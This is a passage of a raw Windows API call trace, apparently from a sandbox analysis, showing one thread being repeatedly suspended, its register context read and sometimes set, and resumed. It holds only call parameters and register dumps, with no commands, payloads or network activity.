[0127.164] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001476e0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x162c000, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0127.238] ResumeThread (hThread=0x130) returned 0x1
[0127.238] CloseHandle (hObject=0x130) returned 1
[0127.238] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0127.287] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0127.344] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0127.441] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0127.554] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0127.554] SuspendThread (hThread=0x130) returned 0x0
[0127.554] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147438, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12a3e60, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0127.556] ResumeThread (hThread=0x130) returned 0x1
[0127.556] CloseHandle (hObject=0x130) returned 1
[0127.556] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0127.597] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0127.638] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0127.638] SuspendThread (hThread=0x130) returned 0x0
[0127.638] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147810, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x162dcc0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0127.720] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147808, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0127.774] ResumeThread (hThread=0x130) returned 0x1
[0127.774] CloseHandle (hObject=0x130) returned 1
[0127.774] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0127.809] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0127.842] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0127.918] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0127.995] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0127.995] SuspendThread (hThread=0x130) returned 0x0
[0127.995] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147488, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1351600, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, 